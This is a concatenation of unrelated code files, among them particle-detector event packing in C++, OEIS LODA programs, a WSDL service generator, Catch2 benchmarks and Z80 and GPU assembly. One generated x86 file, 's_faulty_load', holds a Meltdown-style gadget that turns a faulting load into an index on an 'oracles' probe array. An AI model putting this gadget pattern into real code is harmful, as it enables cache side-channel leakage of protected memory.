boost::dynamic_bitset<> anodeData =
bitset_utilities::ushortToBitset(theAnodeData->sizeInWords() * 16, theAnodeData->data());
result = bitset_utilities::append(result, anodeData);
crcvec.push_back(std::make_pair(theAnodeData->sizeInWords(), theAnodeData->data()));
}
if (theALCTTrailer != nullptr) {
unsigned int crc = calcALCTcrc(crcvec);
theALCTTrailer->setCRC(crc);
boost::dynamic_bitset<> alctTrailer =
bitset_utilities::ushortToBitset(theALCTTrailer->sizeInWords() * 16, theALCTTrailer->data());
result = bitset_utilities::append(result, alctTrailer);
}
if (theTMBData != nullptr) {
result = bitset_utilities::append(result, theTMBData->pack());
}
for (int icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
if (theCFEBData[icfeb] != nullptr) {
boost::dynamic_bitset<> cfebData =
bitset_utilities::ushortToBitset(theCFEBData[icfeb]->sizeInWords() * 16, theCFEBData[icfeb]->data());
result = bitset_utilities::append(result, cfebData);
}
}
boost::dynamic_bitset<> dmbTrailer =
bitset_utilities::ushortToBitset(theDMBTrailer.sizeInWords() * 16, theDMBTrailer.data());
result = bitset_utilities::append(result, dmbTrailer);
return result;
}
unsigned int CSCEventData::calcALCTcrc(std::vector<std::pair<unsigned int, unsigned short*> >& vec) {
int CRC = 0;
// int size=0;
for (unsigned int n = 0; n < vec.size(); n++) {
// size += vec[n].first;
for (uint16_t j = 0, w = 0; j < vec[n].first; j++) {
if (vec[n].second != nullptr) {
w = vec[n].second[j] & 0xffff;
for (uint32_t i = 15, t = 0, ncrc = 0; i < 16; i--) {
t = ((w >> i) & 1) ^ ((CRC >> 21) & 1);
ncrc = (CRC << 1) & 0x3ffffc;
ncrc |= (t ^ (CRC & 1)) << 1;
ncrc |= t;
CRC = ncrc;
}
}
}
}
// std::cout << "ALCT CRC vector size: " << size << ", crc: 0x" << std::hex << CRC<< std::endl;
return CRC;
}
void CSCEventData::selfTest() {
CSCEventData chamberData(5);
CSCDetId detId(1, 3, 2, 1, 3);
std::vector<CSCCLCTDigi> clctDigis;
// Both CLCTs are read-out at the same (pre-trigger) bx, so the last-but-one
// arguments in both digis must be the same.
clctDigis.push_back(CSCCLCTDigi(1, 1, 4, 1, 0, 30, 3, 2, 1)); // valid for 2007
clctDigis.push_back(CSCCLCTDigi(1, 1, 2, 1, 1, 31, 1, 2, 2));
// BX of LCT (8th argument) is 1-bit word (the least-significant bit
// of ALCT's bx).
std::vector<CSCCorrelatedLCTDigi> corrDigis;
corrDigis.push_back(CSCCorrelatedLCTDigi(1, 1, 2, 10, 98, 5, 0, 1, 0, 0, 0, 0));
corrDigis.push_back(CSCCorrelatedLCTDigi(2, 1, 2, 20, 15, 9, 1, 0, 0, 0, 0, 0));
chamberData.add(clctDigis);
chamberData.add(corrDigis);
CSCWireDigi wireDigi(10, 6);
CSCComparatorDigi comparatorDigi(30, 1, 6);
chamberData.add(wireDigi, 3);
chamberData.add(comparatorDigi, 3);
CSCEventData newData = cscPackAndUnpack(chamberData);
std::vector<CSCCLCTDigi> clcts = newData.tmbHeader()->CLCTDigis(detId.rawId());
assert(cscPackerCompare(clcts[0], clctDigis[0]));
assert(cscPackerCompare(clcts[1], clctDigis[1]));
std::vector<CSCCorrelatedLCTDigi> lcts = newData.tmbHeader()->CorrelatedLCTDigis(detId.rawId());
assert(cscPackerCompare(lcts[0], corrDigis[0]));
assert(cscPackerCompare(lcts[1], corrDigis[1]));
// test strip digis
CSCDetId me1adet1(1, 1, 1, 4, 1);
CSCDetId me1bdet1(1, 1, 4, 4, 6);
CSCDetId me1adet2(2, 1, 1, 4, 2);
CSCDetId me1bdet2(2, 1, 4, 4, 5);
std::vector<int> sca(16, 600);
std::vector<unsigned short> overflow(16, 0), overlap(16, 0), errorfl(16, 0);
CSCStripDigi me1a(5, sca, overflow, overlap, errorfl);
CSCStripDigi me1b(8, sca, overflow, overlap, errorfl);
CSCEventData forward(1);
CSCEventData backward(1);
forward.add(me1a, me1adet1.layer());
forward.add(me1b, me1bdet1.layer());
backward.add(me1a, me1adet2.layer());
backward.add(me1b, me1adet2.layer());
std::vector<CSCStripDigi> me1afs = forward.stripDigis(me1adet1);
std::vector<CSCStripDigi> me1bfs = forward.stripDigis(me1bdet1);
std::vector<CSCStripDigi> me1abs = backward.stripDigis(me1adet2);
std::vector<CSCStripDigi> me1bbs = backward.stripDigis(me1bdet2);
//FIXME The current code works under the assumption that ME11 and ME1A
// go into separate EventData. They need to be combined.
assert(me1afs.size() == 16);
assert(me1bfs.size() == 16);
assert(me1abs.size() == 16);
assert(me1bbs.size() == 16);
assert(me1afs[4].getStrip() == 5);
assert(me1bfs[7].getStrip() == 8);
assert(me1abs[4].getStrip() == 5);
assert(me1bbs[7].getStrip() == 8);
assert(me1afs[4].pedestal() == 600);
assert(me1bfs[7].pedestal() == 600);
assert(me1abs[4].pedestal() == 600);
assert(me1bbs[7].pedestal() == 600);
}
|
SECTION rodata_clib
PUBLIC itox_basechar
.itox_basechar defm "0123456789abcdefghijklmnopqrstuvwxyz"
|
; A229232: Number of undirected circular permutations pi(1), ..., pi(n) of 1, ..., n with the n numbers pi(1)*pi(2)-1, pi(2)*pi(3)-1, ..., pi(n-1)*pi(n)-1, pi(n)*pi(1)-1 all prime.
; 0,0,0,1,0,2,1,2,2,8
lpb $0
mov $2,$0
add $0,11
cmp $3,0
add $1,$3
div $2,$1
mov $1,$0
div $0,10
mul $0,2
dif $2,2
sub $2,$0
lpe
lpb $2
mod $2,1
add $2,2
lpe
mov $0,$2
add $0,10
mod $0,10
|
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <arc/XMLNode.h>
#include <string>
#include <iostream>
#include <fstream>
#include <glibmm/fileutils.h>
#include <algorithm>
#include <unistd.h>
#include <string.h>
#include "schemaconv.h"
Arc::NS ns;
struct to_upper {
int operator() (int ch)
{
return std::toupper(ch);
}
};
struct to_lower {
int operator() (int ch)
{
return std::tolower(ch);
}
};
static void std_h_header(std::string &name, std::ofstream &h)
{
std::string uname = name;
std::transform(name.begin(), name.end(), uname.begin(), to_upper());
h << "// Generated by wsdl2hed " << std::endl;
h << "#ifndef __ARC_" << uname << "_H__" << std::endl;
h << "#define __ARC_" << uname << "_H__" << std::endl;
h << std::endl;
h << "#include <arc/message/Service.h>" << std::endl;
h << "#include <arc/delegation/DelegationInterface.h>" << std::endl;
h << "#include <arc/infosys/InformationInterface.h>" << std::endl;
h << std::endl;
h << "namespace " << name << " {" << std::endl;
h << std::endl;
h << "class " << name << "Service: public Arc::Service" << std::endl;
h << "{" << std::endl;
h << std::endl;
}
static void h_public_part(std::string &name, std::ofstream &h)
{
h << " public:" << std::endl;
h << " " << name << "Service(Arc::Config *cfg);" << std::endl;
h << " virtual ~" << name << "Service(void);" << std::endl;
h << " virtual Arc::MCC_Status process(Arc::Message &inmsg, Arc::Message &outmsg);" << std::endl;
}
static void h_private_part(std::string &/*name*/, std::ofstream &h, Arc::XMLNode &xml)
{
h << " private:" << std::endl;
h << " Arc::NS ns;" << std::endl;
h << " Arc::Logger logger;" << std::endl;
h << " Arc::DelegationContainerSOAP delegation;" << std::endl;
h << " Arc::InformationContainer infodoc;" << std::endl;
h << " Arc::MCC_Status make_soap_fault(Arc::Message &outmsg);" << std::endl;
h << " // Operations from WSDL" << std::endl;
Arc::XMLNode op;
for (int i = 0; (op = xml["wsdl:portType"]["wsdl:operation"][i]) == true; i++) {
std::string n = (std::string) op.Attribute("name");
if (!n.empty()) {
h << " Arc::MCC_Status " << n << "(Arc::XMLNode &in, Arc::XMLNode &out);" << std::endl;
}
}
}
static void std_cpp_header(std::string &name, std::ofstream &cpp)
{
std::string lname = name;
std::transform(name.begin(), name.end(), lname.begin(), to_lower());
cpp << "// Generated by wsdl2hed" << std::endl;
cpp << "#ifdef HAVE_CONFIG_H" << std::endl;
cpp << "#include <config.h>" << std::endl;
cpp << "#endif" << std::endl;
cpp << std::endl;
cpp << "#include <arc/loader/Loader.h>" << std::endl;
cpp << "#include <arc/loader/ServiceLoader.h>" << std::endl;
cpp << "#include <arc/message/PayloadSOAP.h>" << std::endl;
cpp << "#include <arc/ws-addressing/WSA.h>" << std::endl;
cpp << std::endl;
cpp << "#include \"" << lname << ".h\"" << std::endl;
cpp << std::endl;
cpp << "namespace " << name << " {" << std::endl;
cpp << std::endl;
cpp << "static Arc::Service *get_service(Arc::Config *cfg, Arc::ChainContext *) { " << std::endl;
cpp << " return new " << name << "Service(cfg);" << std::endl;
cpp << "}" << std::endl;
}
static void cpp_public_part(std::string &name, std::ofstream &cpp, Arc::XMLNode &xml)
{
cpp << std::endl;
cpp << name << "Service::" << name << "Service(Arc::Config *cfg):Service(cfg),logger(Arc::Logger::rootLogger, \"" << name << "\")" << std::endl;
cpp << "{" << std::endl;
cpp << " // Define supported namespaces" << std::endl;
Arc::NS n = xml.Namespaces();
Arc::NS::iterator it;
for (it = n.begin(); it != n.end(); it++) {
// Ignore some default namespace
if (it->first != "soap" &&
it->first != "SOAP-ENV" &&
it->first != "SOAP-ENC" &&
it->first != "wsdl" &&
it->first != "xsd") {
cpp << " ns[\"" << it->first << "\"]=\"" << it->second << "\";" << std::endl;
}
}
cpp << "}" << std::endl;
cpp << std::endl;
cpp << name << "Service::~" << name << "Service(void)" << std::endl;
cpp << "{" << std::endl;
cpp << "}" << std::endl;
cpp << std::endl;
cpp << "Arc::MCC_Status " << name << "Service::process(Arc::Message &inmsg, Arc::Message &outmsg)" << std::endl;
cpp << "{\n\
// Both input and output are supposed to be SOAP\n\
// Extracting payload\n\
Arc::PayloadSOAP* inpayload = NULL;\n\
try {\n\
inpayload = dynamic_cast<Arc::PayloadSOAP*>(inmsg.Payload());\n\
} catch(std::exception& e) { };\n\
if(!inpayload) {\n\
logger.msg(Arc::ERROR, \"input is not SOAP\");\n\
return make_soap_fault(outmsg);\n\
};\n\
// Analyzing request\n\
Arc::XMLNode op = inpayload->Child(0);\n\
if(!op) {\n\
logger.msg(Arc::ERROR, \"input does not define operation\");\n\
return make_soap_fault(outmsg);\n\
}; \n\
logger.msg(Arc::VERBOSE,\"process: operation: %s\", op.Name());\n\
Arc::PayloadSOAP* outpayload = new Arc::PayloadSOAP(ns);\n\
Arc::PayloadSOAP& res = *outpayload;\n\
Arc::MCC_Status ret = Arc::STATUS_OK;" << std::endl;
cpp << " "; // just becuase good indent of following if section
Arc::XMLNode op;
for (int i = 0; (op = xml["wsdl:portType"]["wsdl:operation"][i]) == true; i++) {
std::string n = (std::string) op.Attribute("name");
std::string msg = (std::string) op["output"].Attribute("message");
cpp << "if(MatchXMLName(op, \"" << n << "\")) {" << std::endl;
cpp << " Arc::XMLNode r = res.NewChild(\"" << msg << "\");" << std::endl;
cpp << " ret = " << n << "(op, r);" << std::endl;
cpp << " } else ";
}
cpp << "if(MatchXMLName(op, \"DelegateCredentialsInit\")) {\n\
if(!delegation.DelegateCredentialsInit(*inpayload,*outpayload)) {\n\
delete inpayload;\n\
return make_soap_fault(outmsg);\n\
}\n\
// WS-Property\n\
} else if(MatchXMLNamespace(op,\"http://docs.oasis-open.org/wsrf/rp-2\")) {\n\
Arc::SOAPEnvelope* out_ = infodoc.Process(*inpayload);\n\
if(out_) {\n\
*outpayload=*out_;\n\
delete out_;\n\
} else {\n\
delete inpayload; delete outpayload;\n\
return make_soap_fault(outmsg);\n\
};\n\
} else {\n\
logger.msg(Arc::ERROR,\"SOAP operation is not supported: %s\", op.Name());\n\
return make_soap_fault(outmsg);\n\
};\n\
// Set output\n\
outmsg.Payload(outpayload);\n\
return Arc::MCC_Status(ret);\n\
}" << std::endl;
cpp << std::endl;
}
static void cpp_private_part(std::string &name, std::ostream &cpp, Arc::XMLNode &xml)
{
cpp << "Arc::MCC_Status "<< name << "Service::make_soap_fault(Arc::Message& outmsg)\n\
{\n\
Arc::PayloadSOAP* outpayload = new Arc::PayloadSOAP(ns,true);\n\
Arc::SOAPFault* fault = outpayload?outpayload->Fault():NULL;\n\
if(fault) {\n\
fault->Code(Arc::SOAPFault::Sender);\n\
fault->Reason(\"Failed processing request\");\n\
};\n\
outmsg.Payload(outpayload);\n\
return Arc::MCC_Status(Arc::STATUS_OK);\n\
}" << std::endl << std::endl;
Arc::XMLNode op;
for (int i = 0; (op = xml["wsdl:portType"]["wsdl:operation"][i]) == true; i++) {
std::string n = (std::string) op.Attribute("name");
if (!n.empty()) {
cpp << "Arc::MCC_Status " << name << "Service::" << n << "(Arc::XMLNode &in, Arc::XMLNode &out)" << std::endl;
cpp << "{" << std::endl;
cpp << " return Arc::MCC_Status();" << std::endl;
cpp << "}" << std::endl;
cpp << std::endl;
}
}
}
static void std_h_footer(std::string &name, std::ofstream &h)
{
std::string uname = name;
std::transform(name.begin(), name.end(), uname.begin(), to_upper());
h << std::endl;
h << "}; // class " << name << std::endl;
h << "}; // namespace " << name << std::endl;
h << "#endif // __ARC_" << uname << "_H__" << std::endl;
}
static void std_cpp_footer(std::string &name, std::ofstream &cpp)
{
std::string lname = name;
std::transform(name.begin(), name.end(), lname.begin(), to_lower());
cpp << "}; // namespace " << name << std::endl;
cpp << std::endl;
cpp << "service_descriptors ARC_SERVICE_LOADER = {" << std::endl;
cpp << " { \"" << lname << "\", 0, &" << name << "::get_service }," << std::endl;
cpp << " { NULL, 0, NULL }" << std::endl;
cpp << "};" << std::endl;
}
static void gen_makefile_am(std::string &name)
{
std::string lname = name;
std::transform(name.begin(), name.end(), lname.begin(), to_lower());
std::ofstream m("Makefile.am");
m << "pkglib_LTLIBRARIES = lib" << lname << ".la" << std::endl;
m << "lib" << lname << "_la_SOURCES = " << lname << ".cpp " << lname << ".h" << std::endl;
m << "lib" << lname << "_la_CXXFLAGS = $(GLIBMM_CFLAGS) $(LIBXML2_CFLAGS) -I$(top_srcdir)/include" << std::endl;
m << "lib" << lname << "_la_LIBADD = $(top_srcdir)/src/hed/libs/loader/libarcloader.la $(top_srcdir)/src/hed/libs/message/libarcmessage.la $(top_srcdir)/src/hed/libs/security/libarcsecurity.la $(top_srcdir)/src/hed/libs/ws/libarcws.la $(top_srcdir)/src/hed/libs/common/libarccommon.la" << std::endl;
m << "lib" << lname << "_la_LDFLAGS = -no-undefined -avoid-version -module" << std::endl;
m.close();
}
int main(int argc, char **argv)
{
bool parse_schema = false;
if ((argc > 1) && (strcmp(argv[1],"-s") == 0)) {
parse_schema = true;
--argc; ++argv;
}
if (argc < 3) {
std::cerr << "Invalid arguments" << std::endl;
return -1;
}
ns["wsdl"] = "http://schemas.xmlsoap.org/wsdl/";
std::string xml_str = Glib::file_get_contents(argv[1]);
Arc::XMLNode xml(xml_str);
if (xml == false) {
std::cerr << "Failed parse XML! " << std::endl;
return -1;
}
/* {
std::string str;
xml.GetXML(str);
std::cout << str << std::endl;
}; */
// xml.Namespaces(ns);
std::string name = argv[2];
std::string lname = name;
std::transform(name.begin(), name.end(), lname.begin(), to_lower());
std::string header_path = lname;
header_path += ".h";
std::string cpp_path = lname;
cpp_path += ".cpp";
std::ofstream h(header_path.c_str());
if (!h) {
std::cerr << "Cannot create: " << header_path << std::endl;
exit(1);
}
std::ofstream cpp(cpp_path.c_str());
if (!cpp) {
unlink (header_path.c_str());
std::cerr << "Cannot create: " << cpp_path << std::endl;
}
if(parse_schema) {
if(!schemaconv(xml,h,cpp,lname)) return 1;
return 0;
}
std_h_header(name, h);
h_public_part(name, h);
h_private_part(name, h, xml);
std_h_footer(name, h);
std_cpp_header(name, cpp);
cpp_public_part(name, cpp, xml);
cpp_private_part(name, cpp, xml);
std_cpp_footer(name, cpp);
h.close();
cpp.close();
gen_makefile_am(name);
return 0;
}
|
; A239325: a(n) = 6*n^2 + 8*n + 1.
; 1,15,41,79,129,191,265,351,449,559,681,815,961,1119,1289,1471,1665,1871,2089,2319,2561,2815,3081,3359,3649,3951,4265,4591,4929,5279,5641,6015,6401,6799,7209,7631,8065,8511,8969,9439,9921,10415,10921,11439,11969
mov $1,6
mul $1,$0
add $1,8
mul $1,$0
add $1,1
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1938a, %rdx
nop
and $35505, %rbx
movups (%rdx), %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x12b2a, %rsi
lea addresses_D_ht+0xb79e, %rdi
add $23047, %rax
mov $40, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x135ce, %rax
nop
nop
nop
nop
nop
add $34046, %r9
mov (%rax), %si
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x8f1a, %rdx
nop
nop
nop
nop
add $6504, %rdi
movups (%rdx), %xmm2
vpextrq $0, %xmm2, %rbx
nop
nop
nop
inc %r9
lea addresses_UC_ht+0x11c9a, %rax
add $48795, %rdx
mov (%rax), %edi
nop
nop
nop
add $4528, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %r9
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0x14b6a, %r15
nop
nop
nop
nop
nop
dec %r10
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
dec %r10
// Store
lea addresses_WC+0x24f5, %rdx
dec %r9
mov $0x5152535455565758, %r15
movq %r15, (%rdx)
cmp $37762, %rsi
// Faulty Load
mov $0xf8a, %r8
nop
nop
nop
nop
and %rdx, %rdx
mov (%r8), %r9
lea oracles, %rdi
and $0xff, %r9
shlq $12, %r9
mov (%rdi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 17653}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A145018: a(n) = (n^2 - n + 8)/2.
; 4,5,7,10,14,19,25,32,40,49,59,70,82,95,109,124,140,157,175,194,214,235,257,280,304,329,355,382,410,439,469,500,532,565,599,634,670,707,745,784,824,865,907,950,994,1039,1085,1132,1180,1229,1279,1330,1382,1435,1489,1544,1600,1657,1715,1774,1834,1895,1957,2020,2084,2149,2215,2282,2350,2419,2489,2560,2632,2705,2779,2854,2930,3007,3085,3164,3244,3325,3407,3490,3574,3659,3745,3832,3920,4009,4099,4190,4282,4375,4469,4564,4660,4757,4855,4954
sub $1,$0
bin $1,2
add $1,4
mov $0,$1
|
// Copyright Catch2 Authors
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// https://www.boost.org/LICENSE_1_0.txt)
// SPDX-License-Identifier: BSL-1.0
// Adapted from donated nonius code.
#include <catch2/catch_test_macros.hpp>
#include <catch2/benchmark/catch_benchmark.hpp>
#include <catch2/benchmark/catch_constructor.hpp>
#include <catch2/generators/catch_generators_range.hpp>
#include <map>
namespace {
std::uint64_t Fibonacci(std::uint64_t number) {
return number < 2 ? 1 : Fibonacci(number - 1) + Fibonacci(number - 2);
}
}
TEST_CASE("Benchmark Fibonacci", "[!benchmark]") {
CHECK(Fibonacci(0) == 1);
// some more asserts..
CHECK(Fibonacci(5) == 8);
// some more asserts..
BENCHMARK("Fibonacci 20") {
return Fibonacci(20);
};
BENCHMARK("Fibonacci 25") {
return Fibonacci(25);
};
BENCHMARK("Fibonacci 30") {
return Fibonacci(30);
};
BENCHMARK("Fibonacci 35") {
return Fibonacci(35);
};
}
TEST_CASE("Benchmark containers", "[!benchmark]") {
static const int size = 100;
std::vector<int> v;
std::map<int, int> m;
SECTION("without generator") {
BENCHMARK("Load up a vector") {
v = std::vector<int>();
for (int i = 0; i < size; ++i)
v.push_back(i);
};
REQUIRE(v.size() == size);
// test optimizer control
BENCHMARK("Add up a vector's content") {
uint64_t add = 0;
for (int i = 0; i < size; ++i)
add += v[i];
return add;
};
BENCHMARK("Load up a map") {
m = std::map<int, int>();
for (int i = 0; i < size; ++i)
m.insert({ i, i + 1 });
};
REQUIRE(m.size() == size);
BENCHMARK("Reserved vector") {
v = std::vector<int>();
v.reserve(size);
for (int i = 0; i < size; ++i)
v.push_back(i);
};
REQUIRE(v.size() == size);
BENCHMARK("Resized vector") {
v = std::vector<int>();
v.resize(size);
for (int i = 0; i < size; ++i)
v[i] = i;
};
REQUIRE(v.size() == size);
int array[size];
BENCHMARK("A fixed size array that should require no allocations") {
for (int i = 0; i < size; ++i)
array[i] = i;
};
int sum = 0;
for (int i = 0; i < size; ++i)
sum += array[i];
REQUIRE(sum > size);
SECTION("XYZ") {
BENCHMARK_ADVANCED("Load up vector with chronometer")(Catch::Benchmark::Chronometer meter) {
std::vector<int> k;
meter.measure([&](int idx) {
k = std::vector<int>();
for (int i = 0; i < size; ++i)
k.push_back(idx);
});
REQUIRE(k.size() == size);
};
int runs = 0;
BENCHMARK("Fill vector indexed", benchmarkIndex) {
v = std::vector<int>();
v.resize(size);
for (int i = 0; i < size; ++i)
v[i] = benchmarkIndex;
runs = benchmarkIndex;
};
for (size_t i = 0; i < v.size(); ++i) {
REQUIRE(v[i] == runs);
}
}
}
SECTION("with generator") {
auto generated = GENERATE(range(0, 10));
BENCHMARK("Fill vector generated") {
v = std::vector<int>();
v.resize(size);
for (int i = 0; i < size; ++i)
v[i] = generated;
};
for (size_t i = 0; i < v.size(); ++i) {
REQUIRE(v[i] == generated);
}
}
SECTION("construct and destroy example") {
BENCHMARK_ADVANCED("construct")(Catch::Benchmark::Chronometer meter) {
std::vector<Catch::Benchmark::storage_for<std::string>> storage(meter.runs());
meter.measure([&](int i) { storage[i].construct("thing"); });
};
BENCHMARK_ADVANCED("destroy")(Catch::Benchmark::Chronometer meter) {
std::vector<Catch::Benchmark::destructable_object<std::string>> storage(meter.runs());
for(auto&& o : storage)
o.construct("thing");
meter.measure([&](int i) { storage[i].destruct(); });
};
}
}
TEST_CASE("Skip benchmark macros", "[!benchmark]") {
std::vector<int> v;
BENCHMARK("fill vector") {
v.emplace_back(1);
v.emplace_back(2);
v.emplace_back(3);
};
REQUIRE(v.size() == 0);
std::size_t counter{0};
BENCHMARK_ADVANCED("construct vector")(Catch::Benchmark::Chronometer meter) {
std::vector<Catch::Benchmark::storage_for<std::string>> storage(meter.runs());
meter.measure([&](int i) { storage[i].construct("thing"); counter++; });
};
REQUIRE(counter == 0);
}
|
; ===============================================================
; Jun 2007
; ===============================================================
;
; void *zx_pxy2saddr(uchar x, uchar y)
;
; Screen address of byte containing pixel at coordinate x, y.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_arch
PUBLIC asm_zx_pxy2saddr
PUBLIC asm0_zx_pxy2saddr
asm_zx_pxy2saddr:
; enter : l = x coordinate
; h = valid y coordinate
;
; exit : hl = screen address of byte containing pixel
; e = x coordinate
; d = y coordinate
;
; uses : af, de, hl
or a
asm0_zx_pxy2saddr:
ld a,h
rra
scf
rra
IF __USE_SPECTRUM_128_SECOND_DFILE
; target $c0 or $e0 (CF 0/1 at asm0_zx_pxy2saddr)
scf
ELSE
; target $40 or $60 (CF 0/1 at asm0_zx_pxy2saddr)
or a
ENDIF
rra
ld e,a
xor h
and %11111000
xor h
ld d,a
ld a,l
xor e
and %11111000
xor e
rrca
rrca
rrca
ld e,a
ex de,hl
ret
|
/*
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AVC Child Kernel (Vertical and horizontal de-block a 4:2:0 MB Y comp)
//
// First, de-block vertical edges from left to right.
// Second, de-block horizontal edge from top to bottom.
//
// If transform_size_8x8_flag = 1, luma is de-blocked at 8x8. Otherwise, luma is de-blocked at 4x4.
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
#define AVC_ILDB
.kernel AVC_ILDB_CHILD_Y
#if defined(COMBINED_KERNEL)
ILDB_LABEL(AVC_ILDB_CHILD_Y):
#endif
#include "SetupVPKernel.asm"
#include "AVC_ILDB.inc"
#if defined(_DEBUG)
mov (1) EntrySignatureC:w 0x9998:w
#endif
// Init local variables
shl (8) ORIX_CUR<1>:w ORIX<0;2,1>:w 4:w // Expand addr to bytes, repeat (x,y) 4 times
// Init addr register for vertical control data
